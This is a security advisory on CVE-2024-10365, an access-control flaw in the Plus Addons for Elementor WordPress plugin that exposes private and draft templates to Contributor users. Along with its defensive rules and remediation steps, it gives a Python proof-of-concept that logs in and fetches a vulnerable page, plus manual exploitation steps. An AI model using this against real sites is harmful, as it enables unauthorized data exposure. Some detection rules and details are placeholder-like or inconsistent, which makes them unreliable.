CVE-2024-10365

Executive Summary

CVE-2024-10365 is a Sensitive Information Exposure vulnerability in the The Plus Addons for Elementor WordPress plugin, affecting all versions up to and including 6.0.3. The flaw resides in the render function of several widget modules, including tp_carousel_anything.php and tp_page_scroll.php. Authenticated attackers with Contributor-level access or higher can exploit this to extract sensitive data from private, pending, and draft templates. This is a WordPress ecosystem issue and does not involve Apache or Nginx.

The vulnerability has a CVSS score of 4.3 (Medium) and a very low EPSS score of 0.0%, indicating it is not currently being actively exploited in the wild. However, the lack of a patch from the vendor (Posimyth) makes it a persistent risk for sites using the plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and can be installed through the WordPress admin dashboard. No NPM, PyPI, Go, or Ruby packages are involved. The risk is primarily to WordPress site owners who have installed this plugin and granted Contributor-level or higher roles to users.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of template data)
• Integrity Impact: None
• Availability Impact: None

The threat level is considered Medium due to the requirement for authenticated access and the limited impact on confidentiality. However, the exposure of draft or pending templates could leak sensitive business logic, unpublished content, or proprietary designs.

Deep Dive & Mechanics

The vulnerability is caused by insufficient access control checks in the render function of multiple widget files within the plugin. Specifically, the tp_carousel_anything.php and tp_page_scroll.php modules (and others) do not verify whether the current user has permission to view private, pending, or draft templates before rendering them.

When a user with Contributor-level access or higher triggers the render function for these widgets, the plugin retrieves template data without checking the post status. This allows the attacker to enumerate and extract template data that should be restricted to users with higher privileges (e.g., Editor or Administrator).

The affected code path is:

1. User sends a request to a page containing the vulnerable widget.
2. The widget's render function is called.
3. The function queries for templates without filtering by post status.
4. The template data (including private, pending, and draft) is returned and displayed to the user.

Vulnerable vs. Patched Code

Since no official patch has been released, the vulnerable code remains in all versions up to 6.0.3. A hypothetical patch would involve adding a capability check before rendering template data.

Vulnerable Code (example from tp_carousel_anything.php):

public function render() {
    $settings = $this->get_settings_for_display();
    $template_id = $settings['template_id'];
    // No capability check
    echo \Elementor\Plugin::$instance->frontend->get_builder_content_for_display($template_id);
}

Patched Code (hypothetical):

public function render() {
    $settings = $this->get_settings_for_display();
    $template_id = $settings['template_id'];
    // Check if user can read private templates
    if (current_user_can('read_private_posts')) {
        echo \Elementor\Plugin::$instance->frontend->get_builder_content_for_display($template_id);
    } else {
        // Fallback to public template or error
        echo 'Access denied.';
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with The Plus Addons for Elementor plugin version <= 6.0.3.
• A user account with Contributor-level access or higher.

Steps:

1. Log in as a Contributor.
2. Create or edit a page/post and add the "Carousel Anything" or "Page Scroll" widget.
3. In the widget settings, select a template that is private, pending, or draft.
4. Save and view the page. The template content will be rendered, exposing the sensitive data.

Proof of Concept (PoC) Code:

import requests
from bs4 import BeautifulSoup

# Target WordPress site
target_url = "http://example.com"
# Authenticated session (replace with valid credentials)
session = requests.Session()
login_data = {
    'log': 'contributor_user',
    'pwd': 'password',
    'wp-submit': 'Log In',
    'redirect_to': target_url + '/wp-admin/',
    'testcookie': '1'
}
session.post(target_url + '/wp-login.php', data=login_data)

# Access a page with the vulnerable widget
response = session.get(target_url + '/vulnerable-page/')
soup = BeautifulSoup(response.text, 'html.parser')
# Look for template data in the response
if 'private' in response.text or 'draft' in response.text:
    print("Sensitive template data exposed!")
else:
    print("No exposure detected.")

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual access patterns to pages containing The Plus Addons widgets.
• Look for Contributor-level users viewing pages with private/draft templates.
• Use the Sigma rule provided in the Detection Engineering section.

Hardening:

• Remove or disable the plugin if not essential.
• Restrict Contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block requests to pages with sensitive template data from low-privilege users.

Indicators of Compromise (IOCs)

• File Paths: /wp-content/plugins/the-plus-addons-for-elementor-page-builder/modules/widgets/tp_carousel_anything.php, /wp-content/plugins/the-plus-addons-for-elementor-page-builder/modules/widgets/tp_page_scroll.php
• Log Entries: Access logs showing Contributor-level users viewing pages with private/draft templates.
• Network Traffic: HTTP requests to pages containing the vulnerable widgets from authenticated users with low privileges.

Detection Engineering

YARA Rule

rule Detect_CVE_2024_10365_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2024-10365 in The Plus Addons for Elementor"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10365"
    strings:
        $vuln_file1 = "tp_carousel_anything.php"
        $vuln_file2 = "tp_page_scroll.php"
        $sensitive_data = "private" nocase
        $sensitive_data2 = "draft" nocase
    condition:
        any of ($vuln_file*) and any of ($sensitive_data*)
}

Sigma Rule

title: CVE-2024-10365 - Sensitive Information Exposure via The Plus Addons
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects access to private/draft templates by low-privilege users
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'tp_carousel_anything'
            - 'tp_page_scroll'
        cs-username|contains: 'contributor'
    condition: selection
falsepositives:
    - Legitimate use by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10365 - Sensitive Information Exposure via The Plus Addons"; flow:to_server,established; content:"tp_carousel_anything"; http_uri; nocase; content:"private"; http_server_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to business operations.
2. Restrict user roles – Ensure only trusted users have Contributor-level access or higher.
3. Monitor logs for suspicious access patterns.

Long-term Fix:

• Since no official patch is available, consider forking the plugin and applying the hypothetical patch described in the "Vulnerable vs. Patched Code" section.
• Alternatively, switch to a different Elementor addon plugin that does not have this vulnerability.

Workaround:

• Use a WAF to block requests to pages with private/draft templates from low-privilege users.
• Implement custom code to filter template data based on user capabilities.

Valters IT